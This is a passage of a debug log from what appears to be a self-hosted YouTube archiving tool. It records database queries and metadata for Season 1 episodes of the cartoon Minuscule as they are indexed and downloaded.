?) [4] 00:54:13.854 [debug] QUERY OK source="media_items" db=1.0ms idle=208.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-06-05 14:30:00Z], 4] 00:54:13.859 [debug] QUERY OK source="media_items" db=3.0ms idle=210.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Torpedo (Season 1)", "373801b1-661d-410b-9f3b-ee1b9adc312f", "A5G3MuMhDWw", 340, false, 4, "https://www.youtube.com/watch?v=A5G3MuMhDWw", 139, "/downloads/Miniscule Season 1/2019-06-05 Minuscule - Torpedo (Season 1)/Minuscule - Torpedo (Season 1) [A5G3MuMhDWw].mkv", false, false, false, [], 1, ~U[2019-06-05 14:30:00Z], ~U[2025-12-14 07:54:13Z], ~U[2025-12-14 07:54:13Z], "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Torpedo (Season 1)", "A5G3MuMhDWw", 340, false, 4, "https://www.youtube.com/watch?v=A5G3MuMhDWw", "/downloads/Miniscule Season 1/2019-06-05 Minuscule - Torpedo (Season 1)/Minuscule - Torpedo (Season 1) [A5G3MuMhDWw].mkv", false, ~U[2019-06-05 14:30:00Z]] 00:54:13.859 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=20.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:13.860 [debug] QUERY OK source="media_profiles" db=0.3ms idle=7.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:54:13.861 [debug] QUERY OK source="media_items" db=0.5ms idle=7.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89131] 00:54:13.861 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 1/NA youtube video #sNyXbxOHH6c/youtube video #sNyXbxOHH6c [sNyXbxOHH6c].NA", "id" => "sNyXbxOHH6c", "original_url" => "https://www.youtube.com/watch?v=sNyXbxOHH6c", "playlist_index" => 140, "title" => "youtube video #sNyXbxOHH6c"} 00:54:13.862 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=7.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:54:13.862 [debug] Current batch of media processed. Will check again in 1000ms 00:54:14.864 [debug] Current batch of media processed. Will check again in 1000ms 00:54:15.865 [debug] Current batch of media processed. Will check again in 1000ms 00:54:16.866 [debug] Current batch of media processed. Will check again in 1000ms 00:54:17.867 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.25, "description" => "Minuscule - The Dung Beetle Battle / Bouse de là (Season 1)\n\n--\nABONNEZ-VOUS ICI / SUBSCRIBE HERE : \nhttp://bit.ly/1cPzvQP\n\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 364, "filename" => "/downloads/Miniscule Season 1/2014-10-10 Minuscule - The Dung Beetle Battle ⧸ Bouse de là (Season 1)/Minuscule - The Dung Beetle Battle ⧸ Bouse de là (Season 1) [lOl7HzVVlN0].mp4", "id" => "lOl7HzVVlN0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=lOl7HzVVlN0", "playlist_index" => 141, "timestamp" => 1412938257, "title" => "Minuscule - The Dung Beetle Battle / Bouse de là (Season 1)", "upload_date" => "20141010"} 00:54:17.868 [debug] QUERY OK source="sources" db=0.5ms idle=222.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:54:17.869 [debug] QUERY OK source="sources" db=0.5ms idle=223.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:17.870 [debug] QUERY OK source="media_items" db=1.1ms idle=224.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2014-10-10 10:50:57Z], 4] 00:54:17.874 [debug] QUERY OK source="media_items" db=2.1ms idle=226.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Minuscule - The Dung Beetle Battle / Bouse de là (Season 1)\n\n--\nABONNEZ-VOUS ICI / SUBSCRIBE HERE : \nhttp://bit.ly/1cPzvQP\n\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - The Dung Beetle Battle / Bouse de là (Season 1)", "65d0e00d-217a-4c63-b5f0-5cb68dba1d1d", "lOl7HzVVlN0", 364, false, 4, "https://www.youtube.com/watch?v=lOl7HzVVlN0", 141, "/downloads/Miniscule Season 1/2014-10-10 Minuscule - The Dung Beetle Battle ⧸ Bouse de là (Season 1)/Minuscule - The Dung Beetle Battle ⧸ Bouse de là (Season 1) [lOl7HzVVlN0].mp4", false, false, false, [], 1, ~U[2014-10-10 10:50:57Z], ~U[2025-12-14 07:54:17Z], ~U[2025-12-14 07:54:17Z], "Minuscule - The Dung Beetle Battle / Bouse de là (Season 1)\n\n--\nABONNEZ-VOUS ICI / SUBSCRIBE HERE : \nhttp://bit.ly/1cPzvQP\n\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - The Dung Beetle Battle / Bouse de là (Season 1)", "lOl7HzVVlN0", 364, false, 4, "https://www.youtube.com/watch?v=lOl7HzVVlN0", "/downloads/Miniscule Season 1/2014-10-10 Minuscule - The Dung Beetle Battle ⧸ Bouse de là (Season 1)/Minuscule - The Dung Beetle Battle ⧸ Bouse de là (Season 1) [lOl7HzVVlN0].mp4", false, ~U[2014-10-10 10:50:57Z]] 00:54:17.874 [debug] QUERY OK source="sources" db=0.5ms idle=28.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:17.875 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=6.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:54:17.876 [debug] QUERY OK source="media_items" db=0.5ms idle=6.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89132] 00:54:17.877 [debug] Current batch of media processed. Will check again in 1000ms 00:54:18.878 [debug] Current batch of media processed. Will check again in 1000ms 00:54:19.879 [debug] Current batch of media processed. Will check again in 1000ms 00:54:20.880 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Minuscule - Caterpillars in Pairs/Deux Chenilles (Season 1)\nABONNEZ-VOUS ICI / SUBSCRIBE HERE : \nhttp://bit.ly/1cPzvQP\nAvez-vous vu le film Minuscule / Have you seen the movie Minuscule ? http://bit.ly/1tqewSh\n\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 349, "filename" => "/downloads/Miniscule Season 1/2014-08-14 Minuscule - Caterpillars in Pairs ⧸ Deux Chenilles (Season 1)/Minuscule - Caterpillars in Pairs ⧸ Deux Chenilles (Season 1) [z0TmSWm_w5U].mp4", "id" => "z0TmSWm_w5U", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=z0TmSWm_w5U", "playlist_index" => 142, "timestamp" => 1408006704, "title" => "Minuscule - Caterpillars in Pairs / Deux Chenilles (Season 1)", "upload_date" => "20140814"} 00:54:20.881 [debug] QUERY OK source="sources" db=0.4ms idle=1235.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:54:20.882 [debug] QUERY OK source="sources" db=0.3ms idle=1236.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:20.883 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=1237.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2014-08-14 08:58:24Z], 4] 00:54:20.886 [debug] QUERY OK source="media_items" db=2.1ms idle=1033.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Minuscule - Caterpillars in Pairs/Deux Chenilles (Season 1)\nABONNEZ-VOUS ICI / SUBSCRIBE HERE : \nhttp://bit.ly/1cPzvQP\nAvez-vous vu le film Minuscule / Have you seen the movie Minuscule ? http://bit.ly/1tqewSh\n\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Caterpillars in Pairs / Deux Chenilles (Season 1)", "c81a0c9f-b972-4d54-bdb0-bb6815b94a31", "z0TmSWm_w5U", 349, false, 4, "https://www.youtube.com/watch?v=z0TmSWm_w5U", 142, "/downloads/Miniscule Season 1/2014-08-14 Minuscule - Caterpillars in Pairs ⧸ Deux Chenilles (Season 1)/Minuscule - Caterpillars in Pairs ⧸ Deux Chenilles (Season 1) [z0TmSWm_w5U].mp4", false, false, false, [], 1, ~U[2014-08-14 08:58:24Z], ~U[2025-12-14 07:54:20Z], ~U[2025-12-14 07:54:20Z], "Minuscule - Caterpillars in Pairs/Deux Chenilles (Season 1)\nABONNEZ-VOUS ICI / SUBSCRIBE HERE : \nhttp://bit.ly/1cPzvQP\nAvez-vous vu le film Minuscule / Have you seen the movie Minuscule ? http://bit.ly/1tqewSh\n\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Caterpillars in Pairs / Deux Chenilles (Season 1)", "z0TmSWm_w5U", 349, false, 4, "https://www.youtube.com/watch?v=z0TmSWm_w5U", "/downloads/Miniscule Season 1/2014-08-14 Minuscule - Caterpillars in Pairs ⧸ Deux Chenilles (Season 1)/Minuscule - Caterpillars in Pairs ⧸ Deux Chenilles (Season 1) [z0TmSWm_w5U].mp4", false, ~U[2014-08-14 08:58:24Z]] 00:54:20.887 [debug] QUERY OK source="sources" db=0.4ms idle=34.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:20.888 [debug] QUERY OK source="media_profiles" db=0.3ms idle=6.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:54:20.889 [debug] QUERY OK source="media_items" db=0.4ms idle=6.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89133] 00:54:20.889 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 1/NA youtube video #vt6_0lcYPpw/youtube video #vt6_0lcYPpw [vt6_0lcYPpw].NA", "id" => "vt6_0lcYPpw", "original_url" => "https://www.youtube.com/watch?v=vt6_0lcYPpw", "playlist_index" => 143, "title" => "youtube video #vt6_0lcYPpw"} 00:54:20.890 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:54:20.890 [debug] Current batch of media processed. Will check again in 1000ms 00:54:21.891 [debug] Current batch of media processed. Will check again in 1000ms 00:54:22.892 [debug] Current batch of media processed. Will check again in 1000ms 00:54:23.893 [debug] Current batch of media processed. Will check again in 1000ms 00:54:24.894 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.33, "description" => "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de 